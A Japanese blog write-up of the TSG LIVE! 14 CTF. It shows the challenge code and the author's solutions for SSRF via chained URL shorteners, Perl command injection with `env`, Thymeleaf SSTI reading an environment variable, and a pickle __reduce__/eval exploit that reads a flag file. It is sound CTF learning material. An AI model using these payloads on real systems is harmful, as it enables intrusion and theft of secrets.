Home

TSG LIVE! 14 CTF writeup

今回は東京大学TSGさんにお誘いいただき、TPCとしてオンサイトで参加させていただきました。 TSG LIVE! 14は五月祭の企画として行われ、そのコンテンツの一つとして2時間半のCTFが開催されました。その他にもコードゴルフや競技プログラミングなどの企画があるようです。

アーカイブはこちら(解説やインタビューがあります)

【プログラミング生放送】TSG LIVE! 14 1日目 ライブCTF - YouTube
Enjoy the videos and music you love, upload original content, and share it all with friends, family, and the world on YouTube.
【プログラミング生放送】TSG LIVE! 14 1日目 ライブCTF - YouTube favicon www.youtube.com
【プログラミング生放送】TSG LIVE! 14 1日目 ライブCTF

TPC側は9人で参加し、自分はweb問を担当したのでそれを中心に書いていこうと思います。

web

Shortnm [8 solves]

URL短縮サービスを作りました。

問題コード
flag/main.py
from fastapi import FastAPI, Request
from fastapi.responses import PlainTextResponse
app = FastAPI()
@app.get("/flag")
async def get_flag(request: Request):
host = request.headers.get("host", "")
if host == "flag:45654" and request.url.port == 45654:
return PlainTextResponse("TSGLIVE{REDACTED}")
return PlainTextResponse("Access denied", status_code=403)
app/main.py
from fastapi import FastAPI, Query, Request, Response
from fastapi.responses import RedirectResponse, HTMLResponse
from fastapi.templating import Jinja2Templates
import redis
import httpx
import string, random, os
app = FastAPI()
r = redis.Redis(host=os.getenv("REDIS_HOST", "localhost"), port=6379, decode_responses=True)
templates = Jinja2Templates(directory="templates")
def generate_id(length=12):
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
@app.get("/", response_class=HTMLResponse)
async def index(request: Request):
return templates.TemplateResponse("index.html", {"request": request})
@app.get("/shorten")
async def shorten(request: Request, url: str = Query(...), format: str = Query(None)):
short_id = generate_id()
r.set(short_id, url)
base_url = str(request.base_url).rstrip("/")
short_url = f"{base_url}/{short_id}"
if (format == "json"):
return {"shorturl": short_url}
else:
return templates.TemplateResponse("result.html", {"request": request, "short_url": short_url})
@app.get("/shortem")
async def shortem(request: Request, url: str = Query(...), format: str = Query(None)):
short_id = generate_id()
url = 'http://is.gd/create.php?format=json&url='+url
async with httpx.AsyncClient(follow_redirects=True) as client:
response = await client.get(url)
url = response.json()["shorturl"]
r.set(short_id, url)
base_url = str(request.base_url).rstrip("/")
short_url = f"{base_url}/{short_id}"
if (format == "json"):
return {"shorturl": short_url}
else:
return templates.TemplateResponse("result.html", {"request": request, "short_url": short_url})
@app.get("/shortenm")
async def shortenm(url: str = Query(...)):
short_id = generate_id()
url = 'http://localhost:8000/shortem?format=json&url='+url
async with httpx.AsyncClient(follow_redirects=True) as client:
response = await client.get(url)
url = response.json()["shorturl"]
r.set(short_id, url)
short_id = generate_id()
async with httpx.AsyncClient(follow_redirects=True) as client:
response = await client.get(url)
return Response(content=response.content,status_code=response.status_code,media_type=response.headers.get("content-type"))
@app.get("/{short_id}")
async def redirect(short_id: str):
url = r.get(short_id)
if url:
return RedirectResponse(url)
return HTMLResponse("URL not found", status_code=404)

短縮URLを作るサービス(短縮1->target)、外部の短縮URLを使い作るサービス(短縮2->is.gd->target)、2つ目に通したURLのレスポンスを表示するサービスが提供されている。 これを用いてローカルのhttp://flag:45654/flagを取得したい。

この問題に一番最初に取り掛かった。普通に3つ目のサービスにhttp://flag:45654/flagを入れると見れるんじゃねということで入力してみるとInternal Server Errorが発生。このURLを1つ目のものに通してできたhttp://xx.xxx.xxx.xxx:xxxxx/1WmFoYkI93mjを3つ目に入れてみても同じくエラーが発生。

ここでなぜだろうと唸っていると、チームメンバーがis.gdに目的のURLを入れると、次のようなエラーが発生することを特定してくれた。

{
"errorcode": 1,
"errormessage": "Sorry, due to widespread abuse, we no longer allow linking to hosts by IP address."
}

要は変なホスト名だったりIPアドレスはダメみたい。なので、これをbypassするために適当な短縮URLサービス(今回は一番上に出てきたX.gd)1を使用し、ターゲットのURLを短縮URLに変換し、それを3つ目に入れるとフラグ獲得。2(短縮2->is.gd->X.gd->短縮1->target)

TSGLIVE{Cr3a71ng_7h3_SSRF_pr0bl3m_wa5_d1ff1cul7}

perling_perler [20 solves]

perl

問題コード
app/app.perl
#!/usr/bin/env perl
use Dancer2;
set template => 'template_toolkit';
get '/' => sub {
return template 'index';
};
post '/echo' => sub {
my $str = body_parameters->get('str');
unless (defined $str) {
return "No input provided";
}
if ($str =~ /[&;<>|\(\)\$\ ]/) {
return "<h2>echo:</h2><pre>Invalid Input</pre><a href='/'>Back</a>";
};
my $output = `echo $str`;
return "<h2>echo:</h2><pre>$output</pre><a href='/'>Back</a>";
};
start;

perlを使ったechoをするだけのサービス。明らかなOSコマンドインジェクションが存在している。環境変数にフラグはあります。

続いてこちらの問題を見てみる。前述の通りOSコマンドインジェクションだが、&;<>|()$と空白が使用できない。 この場合`ls`のようにすれば任意のコマンドが実行できそうです。 しかしながらスペースが使用できないのでcat /proc/self/environなどは実行できません。3ここで方針が浮かばないでいたところ4チームメンバーによるとenvコマンドなるものが存在すると… そのまま別のチームメンバーが解いてくれました。

`env`と入力して環境変数を取得し、そこにフラグが書いてあります。

HOSTNAME=27f06e778cd4 HOME=/home/appuser PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PWD=/app FLAG="TSGLIVE{5h3ll1ng_5h3ll3r}"

TSGLIVE{5h3ll1ng_5h3ll3r}

iwi_deco_demo [3 solves]

JavaのWebアプリはSpring Bootで書くといいらしいです。

問題コード
src/main/java/iwi/demo/DemoController.java
package iwi.demo;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import org.apache.commons.lang3.StringUtils;
import org.springframework.web.bind.annotation.*;
import org.springframework.ui.Model;
import org.springframework.stereotype.Controller;
@Controller
public class DemoController {
@GetMapping("/")
public String home() {
return "iwi_form";
}
@PostMapping("/profile")
public String showProfile(@RequestParam("userId") String userId, Model model) {
model.addAttribute("userId", userId);
return "iwi_profile";
}
@GetMapping("/user/{userId}/settings")
public String userSettings(@PathVariable String userId, Model model) {
String lastLogin = LocalDateTime.now()
.format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"));
model.addAttribute("userId", userId);
model.addAttribute("accountType", "Free");
model.addAttribute("lastLogin", lastLogin);
model.addAttribute("email", userId + "@example.com");
model.addAttribute("description", "Please update your email.");
return "iwi_user";
}
@PostMapping("/user/{userId}/settings")
public String updateSettings(@PathVariable String userId,
@RequestParam String email,
@RequestParam String description,
Model model) {
String lastLogin = LocalDateTime.now()
.format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"));
if (StringUtils.isBlank(email)) {
model.addAttribute("message", "Email must not be blank.");
email = userId + "@example.com";
}
if (StringUtils.isBlank(description)) {
model.addAttribute("message", "Description is required.");
description = "Please update your email.";
}
model.addAttribute("userId", userId);
model.addAttribute("accountType", "Free");
model.addAttribute("lastLogin", lastLogin);
model.addAttribute("email", email);
model.addAttribute("description", description);
model.addAttribute("message", "Updated your profile.");
return "iwi_user";
}
}
src/main/resources/templates/iwi_profile.html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<title>IWI-DECO Result</title>
<style>
body {
font-family: sans-serif;
max-width: 600px;
margin: 2rem auto;
}
.profile-box {
border: 1px solid #ccc;
padding: 1rem;
border-radius: 8px;
}
.profile-box h2 {
margin-top: 0;
}
label {
display: block;
margin-top: 1rem;
}
</style>
</head>
<body>
<h1>Hello, [[${userId}]]!</h1>
<p>Click below to go to your settings:</p>
<a th:href="@{'/user/__${userId}__/settings'}">Go to Settings</a>
</body>
</html>
src/main/resources/templates/iwi_user.html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<title>IWI-DECO</title>
<style>
body {
font-family: sans-serif;
max-width: 600px;
margin: 2rem auto;
}
.profile-box {
border: 1px solid #ccc;
padding: 1rem;
border-radius: 8px;
}
.profile-box h2 {
margin-top: 0;
}
label {
display: block;
margin-top: 1rem;
}
input,
textarea {
width: 100%;
padding: 0.5rem;
}
.readonly {
background-color: #f5f5f5;
}
.msg {
color: green;
font-weight: bold;
}
</style>
</head>
<body>
<h2>Settings for [[${userId}]]</h2>
<div th:if="${message}" class="msg">[[${message}]]</div>
<form th:action="@{/user/{id}/settings(id=${userId})}" method="post">
<label>User ID:</label>
<input type="text" th:value="${userId}" readonly class="readonly" />
<label>Account Type:</label>
<input type="text" th:value="${accountType}" readonly class="readonly" />
<label>Last Login:</label>
<input type="text" th:value="${lastLogin}" readonly class="readonly" />
<label for="email">Email:</label>
<input type="email" id="email" name="email" th:value="${email}" />
<label for="description">Description:</label>
<textarea id="description" name="description" rows="4" th:text="${description}"></textarea>
<button type="submit" style="margin-top: 1rem;">Save</button>
</form>
</body>
</html>

Javaのspring-bootを使用したサービスです。ユーザー名を入力したらそれのプロフィール画面に遷移でき、そこからプロフィール設定画面に遷移できます。

テンプレートを使用しているので、SSTIが濃厚かなと思いながら眺めていましたがJavaはあまり触ってこなかったので色々見ていました。

そこでチームメンバーからOGNLというキーワードが。調べてみるとspring-bootはThymeleaf5を使用していて、そこでSSTIができそう。

CTFのWebセキュリティにおけるその他言語まとめ(C#, .NET, GO, Java, Perl, Ruby) - はまやんはまやんはまやん
この記事はCTFのWebセキュリティ Advent Calendar 2021の20日目の記事です。 本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。 悪用しないこと。勝手に普通のサーバで試行すると犯罪です。 ASP.NET 要求の検証-スクリプト攻撃の防止 | Microsoft Docs ASP.NETでは怪しいリクエストはブロックしてくれる機能が備わっている ブロックされたもの <s>, &# Web.config httpCookies HttpOnlyCookies: trueならHttpOnlyつける。defaultはfal…
CTFのWebセキュリティにおけるその他言語まとめ(C#, .NET, GO, Java, Perl, Ruby) - はまやんはまやんはまやん favicon blog.hamayanhamayan.com
CTFのWebセキュリティにおけるその他言語まとめ(C#, .NET, GO, Java, Perl, Ruby) - はまやんはまやんはまやん

「Thymeleaf SSTI」で調べてみると、どうやらペイロードの一つに'+${7*7}+'というものがあるようで、これをサイトに入力しプロフィールから設定に遷移すると、userIdが49になりSSTIが成功しました。

Bypassing OGNL sandboxes for fun and charities
Object Graph Notation Language (OGNL) is a popular, Java-based, expression language used in popular frameworks and applications, such as Apache Struts and Atlassian Confluence. Learn more about bypassing certain OGNL injection protection mechanisms including those used by Struts and Atlassian Confluence, as well as different approaches to analyzing this form of protection so you can harden similar systems.
Bypassing OGNL sandboxes for fun and charities favicon github.blog
Exploiting SSTI in a Modern Spring Boot Application (3.3.4)
Exploiting SSTI in a Modern Spring Boot Application (3.3.4) favicon modzero.com

それよりも少し前にチームメンバーも同様のペイロードを確認していて、"".getClass()のようなやり方で環境変数を取得するペイロードをなんとか組み立てれないか試行錯誤しているようだったので、自分はThymeleafに環境変数を取得できる方法が存在していないかを調べてみることに。

「thymeleaf environment」で調べてみると、どうやら${@environment.getProperty('property.key')}のようなコードで環境変数を取得できるっぽい。6

ThymeleafでSpringの環境変数を使う | Tagbangers Blog
@の後ろにBean名をつけることで、そのBeanにアクセスすることができます。 *ThymeleafでSpringのpropertyファイル(application.propertiesなど)に記述している変数を利用したい場合 ${@environment.getProperty('property.key')} ...
ThymeleafでSpringの環境変数を使う | Tagbangers Blog favicon blog.tagbangers.co.jp
'+${@environment.getProperty("FLAG")}+'

これをUser IDに入れて同様にユーザー設定まで行くとフラグを獲得。

TSGLIVE{5pr1ng_b007_5571_w17h_apach3_lang3_by_PARZEL}

その後

自分の担当分野であるweb問題がとき終わってからは残っている問題であるcryptoとpwnを眺めていましたが、全くわからず。7

そんな中チームメンバーがcyptoの問題に脆弱性を発見したようで。どうやらcryptoの後ろ2つの問題ではpickleが使用されていて、これを悪用することでフラグの値が抜けると!天才か? そのまま2つのフラグが獲得できてしまい、部屋は大盛りあがりでした。

問題コード
problem.sage
#!/usr/bin/env sage
from flag import flag
def sage_encode(obj):
from sage.misc.persist import SagePickler
from base64 import b64encode
return b64encode(SagePickler.dumps(obj)).decode('ascii')
def sage_decode(enc_data):
from base64 import b64decode
import pickle
return pickle.loads(b64decode(enc_data))
class Isogeny_decomp:
def __init__(self,P,order_P = -1):
if isinstance(P,list):
for i in range(len(P)-1):
assert P[i].codomain() == P[i+1].domain()
self.isogenies = P[:]
return
if order_P == -1:
order_P = P.order()
self.isogenies = []
for p,c in factor(order_P):
for i in range(c):
phi = P.curve().isogeny((order_P//p)*P)
self.isogenies.append(phi)
P = phi(P)
order_P //= p
if P == P.curve()((0,1,0)):
break
if P == P.curve()((0,1,0)):
break
def __call__(self,P):
for phi in self.isogenies:
P = phi(P)
return P
def __mul__(self,other):
assert other.isogenies[-1].codomain().j_invariant() == self.isogenies[0].domain().j_invariant()
isom = other.isogenies[-1].codomain().isomorphism_to(self.isogenies[0].domain())
return Isogeny_decomp(other.isogenies + [isom] + self.isogenies)
def dual(self):
ret = []
for phi in self.isogenies:
ret.append(phi.dual())
ret.reverse()
return Isogeny_decomp(ret)
def domain(self):
return self.isogenies[0].domain()
def codomain(self):
return self.isogenies[-1].codomain()
#SIKEp434
e2 = 0xD8
e3 = 0x89
p = 2**e2*3**e3-1
R.<x> = GF(p)[]
k.<i> = GF(p**2,modulus=x**2+1)
xQ30 = 0x00012E84_D7652558_E694BF84_C1FBDAAF_99B83B42_66C32EC6_5B10457B_CAF94C63_EB063681_E8B1E739_8C0B241C_19B9665F_DB9E1406_DA3D3846
xQ31 = 0x00000000
yQ30 = 0x00000000
yQ31 = 0x0000EBAA_A6C73127_1673BEEC_E467FD5E_D9CC29AB_564BDED7_BDEAA86D_D1E0FDDF_399EDCC9_B49C829E_F53C7D7A_35C3A074_5D73C424_FB4A5FD2
xP30 = 0x00008664_865EA7D8_16F03B31_E223C26D_406A2C6C_D0C3D667_466056AA_E85895EC_37368BFC_009DFAFC_B3D97E63_9F65E9E4_5F46573B_0637B7A9
xP31 = 0x00000000
yP30 = 0x00006AE5_15593E73_97609197_8DFBD70B_DA0DD6BC_AEEBFDD4_FB1E748D_DD9ED3FD_CF679726_C67A3B2C_C12B3980_5B32B612_E058A428_0764443B
yP31 = 0x00000000
xR30 = 0x0001CD28_597256D4_FFE7E002_E8787075_2A8F8A64_A1CC78B5_A2122074_783F51B4_FDE90E89_C48ED91A_8F4A0CCB_ACBFA7F5_1A89CE51_8A52B76C
xR31 = 0x00014707_3290D78D_D0CC8420_B1188187_D1A49DBF_A24F26AA_D46B2D9B_B547DBB6_F63A760E_CB0C2B20_BE52FB77_BD2776C3_D14BCBC4_04736AE4
xP3 = xP30+xP31*i
xQ3 = xQ30+xQ31*i
xR3 = xR30+xR31*i
yP3 = yP30+yP31*i
yQ3 = yQ30+yQ31*i
ec_start = EllipticCurve(k,[0,6,0,1,0])
P3 = ec_start((xP3,yP3))
Q3 = ec_start((xQ3,yQ3))
import secrets
sk3 = int(secrets.randbelow(int(3)**e3))
sp3 = P3+sk3*Q3
isogeny = Isogeny_decomp(sp3,3**e3)
E1 = isogeny.codomain()
import sys
print(E1,file=sys.stderr)
P = sage_decode(input("Enter a point: "))
print(sage_encode(isogeny(P).xy()))
P = sage_decode(input("Enter a next point: "))
print(sage_encode(isogeny(P).xy()))
user_sk = int(input("Enter your answer: "))
if user_sk == sk3:
print("Correct")
print(flag)
else:
print("Incorrect")

ここで実際にやってみる。pickleのexploitを用意し、

import base64
import pickle
class Exploit:
def __reduce__(self):
return (
eval,
("dict(print(open('./flag.py').read()),)",)
)
data = base64.b64encode(pickle.dumps(Exploit())).decode('utf8')
print(f"data: {data}")

これを実行すると、

実行結果

フラグが取れてしまいました。web人間としてはこれは気づきたかった… 悔しい…

まとめ

リザルト画像

CTF初めて数ヶ月、初めてオンサイトのCTFに参加しましたが、わいわいできて非常に楽しかったです。招待してくださったTSGの皆様と、誘ってくれたチームメンバーに感謝! イベントの結果としてはTSGに勝利し、3988ptで全体では2位という結果でした。1つでもフラグ取れれば良いかなーと思ってましたが2つも取れて結果に寄与できて良かったです。

終了後はメンバーと五月祭を回ったりしました。弊学とは違うところが多く新鮮でした。そして初対面の人とたくさん話せて非常に良かったです。

脚注

  1. ホントは外部のサービスじゃなくてローカルで立ててngrokとかでやったほうがいいと思うんですが、時間がかかるので今回はこちらを採用しました。

  2. 実は想定解ではないらしい https://x.com/iwashiira/status/1926228844471534076

  3. スペースは駄目ですが、タブ文字(0x09)を使用すれば行けるみたいです https://x.com/iwashiira/status/1926579710579834905

  4. この問題だけ以上に問題サーバーが重かったです。なぜ…?

  5. 読み方はタイムリーフらしい

  6. おそらくこれは非想定解でもっと複雑なペイロードが期待されていたっぽい。 https://nanimokangaeteinai.hateblo.jp/entry/2025/05/24/153344#Web-428-iwi_deco_demo-3-solves

  7. そりゃ難しい問題だけが残っているわけで…

icon

kq5y